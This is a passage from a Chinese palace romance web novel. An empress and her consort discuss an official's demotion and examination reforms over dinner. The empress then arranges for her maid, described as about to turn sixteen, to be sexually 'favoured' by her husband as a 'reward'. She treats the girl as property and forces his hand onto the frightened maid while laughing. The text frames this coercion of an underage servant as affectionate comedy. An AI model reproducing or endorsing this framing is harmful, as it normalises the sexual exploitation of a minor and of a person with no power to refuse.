她肩头几不可察地轻颤了一下,头垂得更低了,仿佛想把自己缩进那朴素的青布衣衫里。 慕容嫣深吸一口气,努力压下翻腾的情绪,让自己的声音听起来威严而公正:“此事世子所做并无差错!反倒是你!夏竹!真是枉费了朕对你的一番期许和重托!竟敢在蓬莱县如此胡作非为!枉顾律法,草菅人命!弄出那么多冤案错案!” 她的声音陡然提高,带着恨铁不成钢的斥责:“若非世子明察秋毫,雷霆出手,及时将你带离蓬莱,你惹下的滔天大祸,必将无可挽回!酿成大祸,届时后悔莫及!” 夏竹的身体微微晃了一下,脸色愈发苍白,但并未出言辩解,只是低声道:“陛下教训的是。是微臣糊涂,辜负了圣恩。” 慕容嫣见她认罪态度尚可,又想到林臻之前的安排,语气稍缓: “好在世子为你据理力争,念在你初犯且志节可嘉,三司会审之后,你也不必再回御史台牢狱。依照世子的安排,暂时去王府……” 提到“王府”二字,慕容嫣的语气微妙地顿了一顿,“好生研读律令,静心思过,跟世子好好学着点什么是真正的为官之道!待这段风波过后,朕会视情况再将你外派。” 慕容嫣目光如电,带着深深的警告和不容置疑的旨意: “但不再是县令!而是降为武清县县丞!” 她清晰地吐出对她的惩罚和期许:“这是对你之前糊涂行径的惩戒!若能在这县丞的位置上恪尽职守,公正勤勉,做出让人信服的政绩,那么县丞之上仍有康庄大道!朕念及你的才华和志向,未必不能再给你机会,让你真正为女官之路做出表率!可如果你故态复萌,再搞砸了……” 慕容嫣的声音陡然变得冰冷彻骨,如同寒冬腊月的北风:“那么,你就死了这条心吧!终其一生,你也不必再妄想为官!而你这失败的例子,也将彻底断送整个大乾女子为官之途!勿谓朕言之不预也!听清楚了吗?” 这番警告如同巨锤砸在夏竹心上,却也像黑暗里的一线曙光。 她猛地抬起头,眼中瞬间爆发出一种混合着羞愧、悔恨、却更汹涌的炽热光芒! 她再次撩起前襟,轰然跪倒在地,声音因激动而有些微微发颤,却无比清晰而坚定: “微臣夏竹!叩谢陛下隆恩!陛下圣德宽容,微臣感激涕零!陛下放心!微臣定当洗心革面,竭尽所能!绝不再辜负陛下期望!此番定用性命报效陛下再造之恩,为陛下分忧,为天下女子争光!” “嗯。”慕容嫣看着她眼中那死灰复燃的火焰,心头那点复杂的醋意似乎也被暂时压了下去。 她微微颔首,声音恢复了帝王的平稳:“退下吧。朕与世子还有些要事商议。” “微臣告退。”夏竹再次叩首,动作干净利落。 她站起身,垂着头,准备退下。 “等等。”一直沉默旁观的林臻突然开口。 夏竹脚步一顿,垂在身侧的手下意识地紧握了一下。 她没有抬头,只是身形僵直地站在原地。 林臻目光没有看她,却对着她说道:“夏竹,你先自行去王府。找大管家林安,就说是我说的,他会安排你的住处。你在那里好生待着,一切等我明日回去再说。” 夏竹心头掠过一丝了然,一丝难堪,最终化为平静。她低低应道:“是。” 林臻说完,像是处理完一件寻常小事,不再言语。 夏竹躬身行礼,在女官的引导下,默默转身,沿着来时的回廊一步步退去。 慕容嫣听着林臻对夏竹的那句安排。 “等我明日回去再说” 心头那股酸溜溜的感觉又冒了一下泡。 她斜睨了林臻一眼,正好对上他转过来的目光,那目光带着了然的笑意,仿佛在问:听见了?我今晚可是要留下来陪你过夜了。 慕容嫣没好气地又哼了一声,将脸别开。 脸颊却又不由自主地染上了一层胭脂般的红晕。 第560章 即将开始的春试 一整日的时光便在巍峨宫墙内的暗流涌动与平静相守中悄然滑过。 林臻还是很守信用的,一天寸步未离慕容嫣身侧。 晨曦微露时的宣政殿早朝余波未平,群臣或惶恐或揣测地退下后,林臻便陪伴着慕容嫣,行走在宽阔森严的宫廊之中。 她披着华美的凤袍,身形在巨大的殿宇间显得纤细却无比坚定。 林臻则落后她半步,身形沉稳如山岳,深邃的目光如同无声的屏障,既拱卫着她,又无形地释放着令人窒息的威压。 前来奏报或请旨的臣子,无不在靠近凤驾时感受到一股沉重的压力,无论是关涉军机要务的紧急军报,还是关于地方灾害的赈济方案,乃至秋收赋税的微末细节,他们的奏对都变得异常简洁谨慎,条理清晰,丝毫不敢有半分拖拉含混或欺瞒之心。 林臻虽极少开口,只是静静倾听,但那份绝对的掌控感已弥漫在每一缕空气之中。 午后的暖阳透过雕花窗棂,在养心殿的紫檀地板上投下斑驳光影。 慕容嫣端坐在巨大的紫檀御案后批阅奏章,朱笔在明黄的奏本上点点圈画。 林臻则随意地斜倚在窗边的锦绣软榻上,手持一卷兵书,姿态闲适。 殿内焚着上品的迦南香,清雅宁神。 偶尔,慕容嫣会停下笔,对某一项决策难以决断,便抬头望向林臻。 林臻目光掠过奏本,三言两语点出要害,或肯定,或指出隐患,言简意赅却直指核心。 每一次,慕容嫣那双漂亮的凤眸中都会闪过豁然开朗的亮光,随即朱笔落下,便是最终的决断。 没有质疑,没有反驳,只有心照不宣的默契与绝对的倚仗。 夕阳的金辉渐渐染红了琉璃瓦顶,给肃穆的宫阙披上了一层温暖的纱衣。 晚膳并未在正式的宫宴厅举行,而是移步到了一处更为僻静雅致的偏殿。 殿内陈设依旧奢华,赤金烛台上的红烛跳动着温暖的光晕,空气中弥漫着食物的香气。 汉白玉圆桌上,早已布好了精致的御膳。 慕容嫣亲自执起银箸,夹了一块烹制得晶莹软烂、色泽诱人的鹿肉脯,无比自然地放进林臻面前的白玉碟中。 “夫君,这是今早新进的鹿脯肉,用花雕和枣蜜煨了半日,入味得很,你尝尝。” 她的声音温柔,动作娴熟,带着居家妻子般的体贴温存,全然不见白日里朝堂上的威严。 林臻含笑点头,从容接过。 “嫣儿真是越来越懂事了啊,和前几日生气送骆驼完全不同。”他目光柔和地看着她,享受着这难得的家常温情。 “什么骆驼啊...朕可不知道...”慕容嫣腼腆一笑,随即两人开始安静地用膳,气氛温馨而宁静。 烛光跳跃,将两人的身影温柔地投在屏风之上。 慕容嫣细嚼慢咽,似乎想到了什么,微微蹙起了秀气的眉头,打破了这温馨的静默: “夫君,”她放下银箢,目光带着一丝思虑看向林臻,“眼看着春试的日子越发临近了,如今不管皇家书院,还是翰林院学政司那边,都紧锣密鼓地准备呢。依你看可还有什么需要格外留意或补充的?” 林臻慢慢咀嚼着慕容嫣布来的鹿脯,若有所思地点点头: “此事我也在思量。既然牵涉皇家书院与翰林院学政司这两家不同的部门,那依我看,倒也简单。让他们各自主持,各出一套策问试卷。应考的士子,需得按各自的规矩,答完这两套题卷。但凡才学达标,符合双方的标准,无论他之前出身如何,一律开榜录名。” 慕容嫣微微颔首,眼中露出一丝赞同的光芒。 这法子确能广纳人才。 然而林臻话锋一转,眼神变得深邃而带着一丝冷冽的洞察:“只是我心里一直有块疙瘩,是关于翰林院学政司那头的。” 他抬起眼,目光锐利地看向慕容嫣,“嫣儿你可知道,翰林院学政司养出来的官员,最大的症结何在?” “哦?”慕容嫣优雅地夹起一小块清蒸玉兰片放入口中,细嚼慢咽,眼中带着一丝探询:“症结?夫君请讲。” 她似乎也有同感。 林臻身体微微前倾,语气带着毫不掩饰的批判: “迂腐!食古不化!他们学得满腹文章锦绣,张口圣贤闭口子曰,可一旦放到地方百姓的位置上,便显出十足的蠢笨无能!田垄地头的事一窍不通,雨水少了旱了,庄稼要颗粒无收,他们除了写诗感叹民生多艰,或者焚香祈祷上苍怜悯,可懂得如何兴修水利,引渠灌溉?洪水滔天,淹了半个郡县,他们除了站在堤上捶胸顿足、望水兴叹,可懂得如何疏散百姓、加固堤防、规划泄洪?地方稍遇棘手点的案件、豪绅欺压小民或宗族冲突,他们除了高喊‘刁民闹事’或者‘人心不古’,却不能秉公而断。” 林臻的语气带着一种冰冷的讽刺:“最可悲可气的便是!一旦捅出了天大的篓子,他们处置不了,捅到了御前,坏了清誉,这些翰林院学政司培养出的‘清贵种子’们,最爱干的是什么?不是殚精竭虑去补救去平息!而是——跑到城门口或者衙门外,写封华丽无比,恨不得摘录《离骚》名句的遗书,要么在祖宗祠堂里上吊,要么就一头跳进他守不住的那条破河里!” 林臻越说越来气,最后猛地一掌拍在桌面上,发出沉闷的声响! 震得碗碟都轻跳了一下,烛火也为之摇曳! “荒谬!无耻!!这叫好官?!这叫千古留名?!”林臻的声音如同凝结的寒冰,“这是将天下百姓性命福祉视为儿戏!这是将朝廷交付的责任抛到九霄云外!这是彻头彻尾的懦夫行径!拿百姓的苦难和自己的无能在青史书上换一个看似悲壮的符号!恬不知耻!!” 慕容嫣被他这番铿锵有力、充满愤怒和现实冰冷的剖析震撼住了。 她放下手中的玉箸,脸上的温和笑意早已敛去,取而代之的是凝重和深思。 她想起地方奏报中那些冠冕堂皇却空洞无物、遇事无能最终只能以死搪塞的官员事例,再联系林臻的这番话,顿觉字字诛心! 林臻稍稍平复了一下激动的情绪,眼神中的怒意稍减,但那股冰冷的审视却更加清晰: “所以,我建议这次春试凡是通过翰林院学政司那套试卷选拔上来的士子,无论才名多么响亮,文章做得如何花团锦簇,一律不得授实职外放!必须先让他们进皇家书院深造!” “让灵儿先不忙着教他们怎么做官,而是给他们恶补!狠狠地补!” 慕容嫣追问道:“补什么?” 林臻掰着手指数道:“一,地方旱灾现了苗头,如何勘察水源、疏导河道、推广耐旱作物!二,山火骤然爆发,如何组织乡勇、开辟隔离带、预测风向、快速有效灭火!三,大水漫灌村庄,如何疏散路径规划、营救物资调配、灾后防疫如何铺开、水退后如何重整田亩!四,地方豪强欺压小民、宗族抢水夺田,如何拿捏分寸,既要彰显朝廷法度权威,又要避免激化矛盾,引导各方势力服膺朝廷治理之下!五……” 他一连串说了很多,最后顿了顿,目光炯炯的继续说道:“甚至包括最基本的,算盘要打得精熟,簿记要看得明白,仓库里的粮食银钱进出账目不能一塌糊涂让人糊弄!赋税缴纳情况要心中有底!这些最实际、最基础、最关乎百姓生计温饱的本事,必须全都培养出来!” “他们在书院里,要么老老实实跟着楚惜灵学点实用之策,学点安民治水的本事!要么就证明自己真能在实践中把这些狗屁不通的锦绣文章变成解决实际问题的真招!若能在书院中展现才具,或者等他们真有了解题而非寻死之心性,再由你我斟酌,下放到县丞、主簿这些辅佐的位置上去磨练!这才是对举子负责,对朝廷负责,更是对千千万万仰赖官府鼻息过活的黎民百姓负责!” 这一番话,条分缕析,直指陈弊,描绘出一个清晰冷酷却无比务实的未来官场。 慕容嫣静默良久。 林臻所说的每一点,都沉重地砸在她心头。 她想起那些奏章中语焉不详却又触目惊心的灾情描述,想起那些最终归结为“天灾”或“人祸”、实则因官员无能而雪上加霜的惨象。 她缓缓地、极其郑重地点头,眼中最后一丝疑虑也烟消云散: “夫君所言真是令人振聋发聩啊!如今的官员,心气高,架子足,手段却大多稀松平常。那些愚昧些的百姓口口声声‘青天大老爷’,实则能得到的实惠却微乎其微。” 她轻轻叹了口气,“这路,确需要大改!” 但提到具体执行人时,慕容嫣的黛眉又微微蹙起,带着一丝保留的疑虑: “只是,夫君认为楚惜灵真能当好这个先生吗?把她那些所谓的机关器械之术、奇技淫巧的旁门左道,就能磨砺出真正能治国安民的好官?” 她显然对楚惜灵的非主流才学以及不按常理出牌的作风,尤其是对林臻的倾慕颇有些微词,言语间甚至带上了些许不屑,“朕看她也就会鼓捣些小玩意儿罢了。” 第561章 这是给她的奖励 林臻看着慕容嫣那小女儿般吃味的表情,眼中掠过一丝不易察觉的笑意。 他并未反驳她话里对楚惜灵的看法,而是直接指出更深层的目的: “嫣儿此言差矣。让灵儿去做这事,重心并非叫她教那些书呆子如何做官,如何高谈阔论。而是授人以渔!” 他身体前倾,目光灼灼:“她要做的是教他们解决问题的方法!教会他们在浩劫天灾、人祸矛盾临头时,脑中不只有圣人之言和自挂东南枝的冲动!而是有切实可行的行动步骤,有能稳住局面、保存百姓、逐步恢复秩序的手段,就像我刚才列举的那几样。如何治理旱情?如何扑救山火?如何应对水患?这些,才是她们在皇家书院真正需要被锤打学习的核心!这些本事学扎实了,未来无论放到哪个位置上去,心中才有底,肩上才敢担起那份牧守一方的重担!这才是真正意义上的为百姓负责!为社稷负责!” 慕容嫣的目光随着林臻的话语渐渐明亮起来。 她明白了林臻的深意。 楚惜灵只是一个媒介,一个手段,核心是要扭转那些未来官员的思想和解决实际问题的能力。 “好吧,”她终于舒展开眉头,声音也轻快起来,“夫君既有如此深思熟虑的长远之策,那便放手去做吧。这江山,终究是你我夫妻二人携手共治的。” 她语气中带着全然的信任和一种奇妙的、共享一切的亲密感:“夫君的意思,便是朕的意思。” 林臻见她终于被说服,唇角勾起一抹满意的弧度。 他放下手中的玉箸,动作自然地越过桌面,轻轻握住了慕容嫣放在桌边的纤纤玉手。 “嫣儿能明白我的苦心就好。”他低声道,随即话锋一转,声音带着一种掌控未来的从容与强大。 “你也莫要焦灼心急。且再耐心等上一等。王爷在北燕的战报想必已在加急递送京城的路上,一旦北燕的版图真正纳入了我大乾,长江以北,便只剩下苟延残喘的韩国和秦国了!届时我们再扫平这两块绊脚石,长江以北就会形成全面统一!等休养生息几年,我们便可以挥师南下。” “只需再稍待一段时日,你慕容嫣的名字将不止镌刻在今日的皇座之上,更将名垂千古!成为史无前例的首位一统寰宇、四海宾服的真命女帝!” “天命女帝...”慕容嫣喃喃重复着这四个字,心中的热血瞬间被点燃! 她那因日夜操劳而略显清减的脸颊,此刻因为巨大的憧憬和兴奋而染上了激动的红晕,双眸如同燃烧的星辰,亮得惊人! 仿佛已经看到了那君临天下的无上荣光! 她甜甜地笑了,笑容如同最娇艳的牡丹瞬间绽放。 那笑容里,有对无上权柄的渴望,有对林臻描绘的蓝图的无限向往。 然而,这股巨大的兴奋冲涌之后,慕容嫣的眼波流转间,似乎想起了什么有趣的事情,带着一丝狡黠和说不清道不明的味道。 她忽然转头,对着候立在屏风一侧、安静得如同空气的贴身宫女麝月说道: “麝月。” 少女闻声立刻上前一步,垂着头,恭声道:“奴婢在。” “你先把这席面仔细收拾清爽了,莫要留下油渍,然后便来寝殿候着吧。”慕容嫣顿了顿,瞥了一眼身旁的林臻,嘴角弯起一个意味深长的弧度。 麝月的身体似乎几不可察地微颤了一下! 一直低垂的头颅始终没有抬起,但那小巧的耳垂却几乎是在瞬间便肉眼可见地烧得通红! 如同两枚熟透了的樱桃! 她甚至连呼吸都似乎屏住了!过了好几息,才用细若蚊蚋、带着明显颤抖的声音回道: “遵……遵旨。奴婢马上就去。”说完,她甚至不敢等帝后回应,几乎是逃也似的,飞快地再次行了一礼,便匆匆走到桌案边,颤抖着手指开始小心翼翼、无比轻柔地收拾起碗碟。 那动作比平日里慢了不止一倍,低垂的脸上红霞密布,显然是心中早已乱了方寸,知道将要发生什么。 林臻看着麝月那副羞窘得快要化作地缝钻进去的样子,再联系慕容嫣那番“收拾好了来寝殿候着”的话,心中已是了然。 待麝月开始忙碌,他微微倾身靠近慕容嫣,压低了声音,带着一丝哭笑不得的无奈和探询: “嫣儿?你把麝月唤到寝殿去干什么?今晚不是我们的专场吗?” 他总觉得有些怪异。 慕容嫣转过头,看向林臻,那双漂亮的凤眸里闪烁着一种理所当然又带着施舍般的笑意: “这小妮子最近侍奉得很是周到细致,心也细。朕呢,便想着给她个天大的恩典,算作奖赏。” 她仿佛在说一件赏赐美玉珠宝般的寻常事。 “天大的恩典?”林臻被勾起了好奇,更是不解,“奖赏什么?” 慕容嫣脸上那抹施恩般的笑容更深了,甚至带上了点促狭: “当然是得到这个世界上最强大、最尊贵的男人的宠幸呀!” 她伸出纤纤玉指,自然而然地、带着点理所当然的骄矜,轻轻点了点林臻那轮廓分明的下巴: “让她被你这位王府世子、权倾朝野、手握乾坤的夫君亲自宠幸一番,这难道还不算天大的恩典?” 林臻微微一滞,被这说法弄得有些啼笑皆非,指着自己的鼻子反问道: “被我宠幸,对她而言是奖励?”这逻辑他怎么都觉得有点绕。 “那当然!”慕容嫣理所当然地点头,仿佛林臻在问一个很傻的问题,“你是什么身份?她又是什么身份?不过一个伺候人的小丫头罢了!” 她凤目微扬,带着一种刻在骨子里的、属于绝对上位者的漠然与理所当然:“能得世子爷你一夜垂青,这已经是十辈子修来的福分了!她得感恩戴德!懂不懂?” 她抿了一口茶,继续轻松地补充道:“再说,麝月这小丫头年纪也不小了,过了年就十六,再过两年就要配人了,真要留成个老姑娘再放出去,夫君你宠幸起来……也觉得腻味,怕是也没什么趣味了不是?” 这话说得赤裸裸,将麝月的一切完全置于可供赏玩和恩赐的物件位置。 林臻一时语塞,被慕容嫣这套强大无比又似乎无法反驳的逻辑震住了。 他有些哭笑不得,又觉得有些不妥: “道理似乎是这么个道理。”他微微皱眉,脸上露出些许难以言喻的尴尬,“但是...呃,嫣儿,那我们三个人,这该怎么个睡法?” 他脑海中难以想象那种场面。 慕容嫣看着林臻那副难得一见的窘迫样子,更是觉得有趣至极,忍不住“噗嗤”一声笑了出来,凤目流转间满是促狭:“耽误什么事儿吗?夫君忘了?先前司马椿蕾我们不是也……” 话没说完,林臻已抢先开口,语气带着更深的无奈和提醒: “那……那哪能一样?司马椿蕾是贵妃!你的妃子!我们一起睡是很正常的,但麝月是是丫鬟!” 他似乎找不到更合适的词来形容那种情况。 “有什么不一样的!”慕容嫣站起身,不由分说地挽住林臻的手臂,力气不小地将他往起拉,脸上洋溢着一种不容拒绝的任性光辉,像个发现了新奇玩具的兴奋孩子: “走啦走啦!别磨蹭!麝月那丫头手脚麻利得很,估计都已经收拾妥当,在寝殿暖阁候着了呢!朕要让她瞧瞧,什么才叫真正的恩宠!” 她声音带着点雀跃,拉着还有些没回过神的林臻,径直朝着寝殿的方向快步走去。 晚风带着深宫特有的凉意,拂过回廊。 清冷的月光如水银泻地,温柔地洒在两人相携的背影上,将他们的身影拖拽得很长,交叠在一起,仿佛融入了这无边宫苑的夜色里。 只有那脚步声,和慕容嫣带着笑意的催促声,在寂静中渐渐远去。 第562章 我的价值就是做你的爱人 慕容嫣拉着林臻,步履轻快中带着不容拒绝的力度,穿过重重垂落的明黄纱帷,径直走进了富丽堂皇、温暖馨香的寝殿深处。 殿内早已被巨大的蟠龙绕凤赤金烛台上数十支红烛照得亮如白昼,暖融融的光线将一切镀上一层柔和的暖金。 昂贵的瑞兽衔芝鎏金香炉中,焚烧着专供帝后寝殿的极品龙涎香,清幽馥郁的香气无声地弥漫在温热的空气中,嗅之令人心神微醺。 最引人注目的莫过于殿中央那张无比宽大、被层层叠叠轻薄如烟雾般的金丝鲛绡纱幔笼罩住的凤榻。 鲛绡在烛光下折射着细碎的七彩光晕,将榻内朦胧成一个充满暧昧遐想的奢华秘境。 纱幔之外,地面铺满寸长的波斯羊毛地毯,柔软厚实,踏上去如同踩在云端,悄然无声。 慕容嫣拉着林臻在梳妆台前站定。 那梳妆台是整块的紫檀木雕琢而成,镶嵌着螺钿彩绘的花鸟图案,流光溢彩的珐琅台面上,错落有致地摆放着各式象牙、犀角、玛瑙精雕细琢而成的梳妆匣、首饰盒、妆奁。 菱花水银镜打磨得光可鉴人,清晰地映照出慕容嫣那张倾国倾城的容颜和她身后林臻挺拔的身影。 她姿态慵懒地坐在鎏金凤纹锦墩上,抬手轻轻抚了抚鬓边微微晃动的金凤步摇流苏,凤目斜睨着镜中那个正静静欣赏她的男人,声音带着一丝刻意的娇嗲和不易察觉的撒娇: “夫君呀,”她微微侧头,露出优美的脖颈线条,“替朕把这劳什子的凤冠摘了吧。戴了一天,压得脑袋生疼。” 那“替朕”二字,透着亲昵的命令口吻。 林臻看着镜中她娇慵妩媚的模样,唇边勾起一抹淡淡的、带着宠溺的笑意。 他并未直接动手,而是故意微微俯身,靠近她耳边,温热的气息拂过她敏感的耳垂: “我似乎还真没怎么伺候过你呢?”语气带着点调侃和追忆。 这话像是一根细小的针,轻轻扎了慕容嫣一下。 镜中的美目瞬间闪过一丝委屈和嗔怪,连唇角都撇了下去: “谁说不是呢!”她扭过身子,不再看镜子,抬起一双波光潋滟的含嗔凤眸,直勾勾地望向林臻,红唇微嘟,吐出的字句带着浓浓的醋意和酸溜溜的味道:“在家里头你伺候张俪,伺候青霞,就连那浣碧、晴雯!她们不过是丫头出身的小妾罢了!竟也都能时不时享受到夫君你这般体贴的伺候。” 她越说越觉得委屈,语气越发幽怨起来:“可偏偏!偏偏我这当皇帝的做了你明媒正娶的正室夫人!倒成了那个从未得夫君垂怜梳妆的可怜人儿了!夫君!你说说看,这理儿上哪儿说去?!” 那最后一句,带着点娇蛮的质问,却又更像是在倾诉委屈。 林臻被她这副模样逗笑了,低沉的笑声在温暖的寝殿里轻轻回荡。 他不再逗她,伸出修长的手指,动作轻柔而熟练地解开凤冠后面繁复的暗扣和缠绕的金链。 当那顶镶嵌了无数珍珠宝石、象征着无上权力的沉重凤冠终于从她发髻上移开时,慕容嫣舒服地轻轻喟叹了一声,仿佛卸下了千斤重担。 林臻将凤冠小心地放在紫檀案上,随即拿起了象牙梳。 他站到她身后,一手撩起她瀑布般的如墨青丝,一手拿着梳子,从发根处极其轻柔地一下下梳理着。 动作专注而细致。 看着镜中他认真替自己梳发的俊朗侧影,慕容嫣的心也如同被那梳理的象牙梳齿,一点点熨帖平顺了。 回忆的闸门悄然打开。 “其实,”林臻一边梳着,一边含笑低语,“倒也不是一次都没有过吧?我怎么还清晰记得第一次撞见你偷偷解开裹胸带子的模样呢?” 那声音如同羽毛搔过心尖。 轰! 慕容嫣的脸颊瞬间如同被泼了最艳的胭脂,连耳根都红透了! 她猛地抬头,又羞又怒地瞪了镜中林臻一眼,美目中水光潋滟,似怒似嗔: “那……那能一样吗?!那时候你不过是靠着兵权欺负朕的乱臣贼子呢,而且还是替朕给后宫妃子圆房的登徒子!你就是个权臣!奸臣!大骗子!” 她仿佛想起了什么,声音里带着点软糯的怨意:“唉,可是谁能想到像朕这样英明神武的女帝,后来竟然也也被你这大骗子给……给……” 后面的话她羞于出口,但意思已经昭然若揭。 林臻闻言,放下象牙梳,双臂自然地环过她的双肩,俯身将自己的脸侧轻轻贴在她柔软的鬓发旁,一同看向镜中那对依偎的身影。 镜中的男子英俊沉稳,女子绝艳倾城,如同世间最登对的璧人。 “明明是你把我给骗到手了。”林臻的声音低沉磁性,带着无尽的爱恋和一丝戏谑,温热的气息拂过她的脸颊。 慕容嫣的心跳漏了一拍。 巨大的满足感和甜蜜如同潮水般将她淹没。 她像只被宠坏的猫儿,抓住他环在自己身前的一只手,将那温暖干燥的大手整个捧起,用自己柔嫩温软的脸颊眷恋地、深深地在上面蹭着。 她的动作甚至带上了点孩子气的占有欲,几乎要把整张精致绝伦的脸都埋进他宽厚的掌心。 温暖细腻的肌肤在掌心上摩擦,带来一阵阵令人心驰神摇的触感。林臻喉结微微滚动,却没有动。 寝殿里一时间只剩下烛火的噼啪声和慕容嫣如同猫咪呼噜般满足的叹息。 “夫君。”良久,慕容嫣的声音才闷闷地从林臻手掌里传出,带着一丝前所未有的认真和探寻,甚至一丝不易察觉的不安。 她从掌心抬起脸,透过镜面,凝视着镜中那双深邃如海的眼眸。 “你告诉妾身一句实话。你有没有……哪怕是在那么一个瞬间……想过……废掉朕自己当皇帝?” 问完这句,她的目光骤然变得无比锐利和脆弱,死死盯着镜中林臻的每一个细微表情变化。 静。 寝殿里连呼吸都仿佛停滞了一瞬。 只有巨大的烛影在华丽的地毯上无声摇曳。 林臻环抱着她的手臂微微收紧了一下,将她更稳固地拥在怀中。 他没有立刻看向镜中的她,而是垂下眼帘,目光落在她纤细白皙的后颈上片刻,随即才抬起眼,迎上镜中那双充满了期待、恐惧、探寻等复杂情绪的凤眸。 他的眼神清澈而深邃,没有半分闪躲,甚至带着一丝怜惜的叹息,缓缓地、无比肯定地摇了摇头:“没有。” 声音沉稳清晰,如同磐石敲击。 “真的?”慕容嫣追问,目光中的锐利更盛,仿佛要用目光刺穿他灵魂深处。 “真的。”林臻坦然回答,眼神依旧平静无波,如同古井深潭。他顺势将下巴轻轻搁在她光洁的额发上,姿势亲昵无比。 “因为我是真的不喜欢做皇帝。案牍劳形,勾心斗角,日理万机。那位置压得人喘不过气,哪有做个权倾天下的摄政王,替你遮风挡雨来得逍遥自在?” “再说那个时候的大乾是个什么光景?内里,国库空虚,官场腐朽,世家豪强割据林立,政令连这京城都难出!外头,南楚磨刀霍霍,北燕虎视眈眈,西陲小国也蠢蠢欲动,随时可能分一杯羹!这样一个如同破旧筛子般千疮百孔的国家根本经不起一次废立帝王的折腾!强行为之,只有分崩离析、国破家亡一个下场!” 他微微挪动了一下,让两人的脸庞在镜中更清晰地靠在一起,目光变得更加柔和: “我的思绪,我的力量,始终只围绕着一个目标,那就是怎么倾尽所有去帮助你!帮助你慕容嫣坐稳这摇摇欲坠的江山!帮助这个承载了无数黎民期望的国家,不至于在我们手中分崩离析!不至于被南楚的铁蹄践踏得支离破碎!为此,哪怕粉身碎骨,殚精竭虑,我亦在所不惜!” “可后来……”林臻的声音里涌上了一丝难以言喻的温柔暖意,低低萦绕在慕容嫣耳边,“在与你并肩作战,看你从一个惊慌失措的小女孩,一点点成长为今日威震四海的女帝的过程中,好像是这样...其实我也不知从何时起,我的心已经被你一点点地占据了。” “夫君……”慕容嫣的声音带着难以自抑的颤抖和动容,水汽瞬间模糊了视线,“那你不会因为我的小性子生气吗?” 林臻轻笑了一下,带着纵容的意味:“若是你我夫妻之间私下里使点小性子、闹的小脾气,我甘之如饴,乐在其中,又何来生气一说?”他的手指宠溺地在她肩头轻轻点了点,眼神温柔得要滴出水来。 “可若是在朝堂社稷、军政大事上的作为……嫣儿,我必须坦诚一点。” 他正视着镜中的那双凤眸: “我是未来的摄政王,是你的夫君,但我更是你的臣!我会提出我的见解,献上我的谋策,动用我的力量去替你扫清障碍。但最终拍板的决定权,依然在你手中!我不能、也不会一直代替你去执掌乾坤。你需要成长,需要磨练,需要独立地去承担那份属于帝王的荣光与重责。” 他的目光深邃如同承载了无限星海: “而我存在的价值……就是在你飞翔时推你一把!在你可能摔下时,做那个替你兜底的人!用我毕生所能,护你周全,助你君临天下!” 第563章 小妮子不禁逗 “夫君!” 这一番话语,如同重锤,狠狠砸在慕容嫣心房最柔软也是最渴望被理解的地方! 那无条件的支持、深沉的包容、绝对的守护与托举让她瞬间泪如泉涌! 巨大的幸福感和灵魂被理解的震颤让她浑身酥软! 她猛地挣脱他的怀抱,转过身,如同寻求庇护的雏鸟般扑进他温热的怀中,双手紧紧环抱住他劲瘦的腰身,将滚烫的脸颊埋在他坚实的胸膛上,贪婪地呼吸着属于他的、让她无比安心的气息。 她的声音带着哽咽,却充满了极致的满足与爱意: “妾身……妾身此生……能得夫君如此恩爱、如此托付……真是天底下最大的……最大的幸运!纵享万里江山……也不及得夫君一顾!” 她仰起那张梨花带雨、却又光彩焕发的绝美脸庞,眼中充满了无尽的痴恋和渴望! 无需言语。 林臻眼底涌动着难以言喻的柔情与珍视,他微微低头,温热的唇精准地捕捉到她主动噘起的、如同花瓣般娇嫩的红唇,准备覆上那一片甜蜜。 就在这情意绵绵、呼吸交融的瞬间—— “哎呀!” 一声短促而充满意外和惊吓的低呼,突兀地在寝殿门口响起! 如同平静的湖面被投下巨石! 林臻和慕容嫣几乎是同时如同触电般分开身体! 骤然分开的动作带着一丝被窥见的狼狈! 慕容嫣羞恼交加,猛地扭头看向声音来源,美目圆睁,带着被惊扰好事的薄怒,厉声呵斥:“麝月!你这死妮子!进门也不知道提前通禀一声?!一点规矩都没有!想吓死朕不成?!” 只见麝月正端着一个盛满温热玫瑰浴汤的玉盆,一只脚刚踏进寝殿,恰好撞见帝后那缠绵悱恻的一幕,惊得手足无措,手中的玉盆都差点脱手掉在地上! 她慌忙跪倒在地,光洁的额头几乎贴在柔软的地毯上,声音带着惊惶的颤抖: “奴婢知罪!奴婢该死!奴婢只是想来伺候陛下沐浴,见外面廊下无人,以为陛下还在前殿……” 她解释的声音越来越小,细若蚊蚋。 慕容嫣看着麝月跪在地上瑟瑟发抖的样子,脸上的怒意这才稍稍减退,但眉宇间仍带着一丝被搅扰的没好气。 “罢了罢了!”她挥挥手,“起来吧。念在你初犯,今天又是你的大日子,这次就饶过你了。” 那“大日子”三个字,被她刻意加重了语气,嘴角勾起一丝暧昧难言的弧度。 麝月如同大赦,心口的巨石落了地,赶紧磕了个头:“谢陛下不杀之恩!” 这才战战兢兢地站起身,却依旧垂着头不敢抬起,脸颊更是红得如同煮熟的虾。 慕容嫣站起身,姿态优雅地整理了一下微乱的衣襟,对着镜中那个几乎快要缩成一团的小宫女开口:“过来。” 她的声音听不出喜怒。 麝月不敢怠慢,连忙迈着小碎步,低头垂首,挪步到梳妆台前。 慕容嫣的目光玩味地在麝月因低头而显露出的、一段白皙纤细、线条优美的后颈上流连了一下。 她伸出手,轻轻挽住林臻的手臂,将他带得离麝月更近一些。 然后,她竟——无比自然地、带着点恶劣促狭笑意地、拉起林臻那只宽厚温暖的大手! 就在麝月低垂的眼眸注视下,慕容嫣牵引着林臻的手掌,以一种不容置疑、甚至带着点展示意味的举动,径直地、缓缓地,落在了麝月穿着浅粉色宫女常服、因紧张而挺直的背脊正中央! 柔软光滑的衣料下,温热的少女肌肤触感清晰地传递到林臻掌心。 而那只被强行放置的大掌所带来的、无法想象的刺激和威压感,让毫无防备的麝月如同被最可怕的电流击中! 只觉一股难以言喻的、混合着恐惧、羞耻、慌乱和未知战栗的巨浪,瞬间席卷了全身! “唔——!” 麝月口中发出一声短促到几乎无声的悲鸣! 身体如同被瞬间抽空了所有骨头和力气,猛地一软! 整个人如同风中秋叶,剧烈一晃,双腿一软,竟直接朝着旁边温暖的羊毛地毯瘫软着歪倒下去! 幸好慕容嫣反应极快,另一只手及时扶了她手肘一把,才没让她真的狼狈倒地! “哈哈哈哈哈——!” 看到麝月这惊惶失措、羞窘欲死的狼狈模样,慕容嫣再也忍不住,发出一阵又脆又亮、充满恶趣味得逞的开怀大笑! 她笑得弯了腰,整个寝殿都充盈着她如同银铃般肆意的笑声。那笑声在朦胧奢华的纱幔烛影间来回激荡。 